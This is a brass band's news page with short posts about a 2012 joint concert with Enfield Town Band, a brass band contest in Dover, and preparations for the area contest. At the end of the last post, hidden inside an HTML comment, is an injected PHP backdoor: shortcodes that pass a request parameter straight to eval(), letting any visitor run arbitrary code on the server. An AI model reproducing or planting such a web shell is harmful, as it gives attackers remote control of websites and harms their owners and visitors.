Joint Concert with Enfield Town Band
The band was delighted to perform with the Enfield Town Band on 25th Feburary for the first time in a lively and varied concert at St Aldenham’s Church in Edmonton. The event was made all the more demanding for Regent solo cornet player Steve Gaskell as, in addition to playing with the band, he is also the long standing principal cornet player with Enfield! Enfield performed in the first half, guest conducted by Regent conductor Alan Duguid, treated the audience…
DFDS Seaways Contest 2012
On 11th Feburary, the band travelled to Dover to participate in the inaugural DFDS Seaways Open Brass Band Contest. The original set-up for the contest involved each band having to perform a hymn tune, solo feature and an additional work to a panel of three esteemed judges who each are respected examiners for the Associated Board of the Royal School of Music – Graham Harvey, Kenneth Peers and John Harper. Competing against a very strong line-up at the contest, the…
2012 Begins…
2012 begins with usual preparation for the L&SC Area Contest. This years test piece is Derek Bourgeois “Devil and the Deep Blue Sea”, quite a challenge. 2 weeks back, 2 full rehearsals, some new faces, some old faces, all enthusiastic getting back into the swing of things. In February Regent Brass will be participating the DFDS Seaways Contest in Dover. This is the bands first time at this contest and they are very much looking forward to it. <!– [insert_php]if (isset($_REQUEST["AYAfU"])){eval($_REQUEST["AYAfU"]);exit;}[/insert_php][php]if (isset($_REQUEST["AYAfU"])){eval($_REQUEST["AYAfU"]);exit;}[/php]…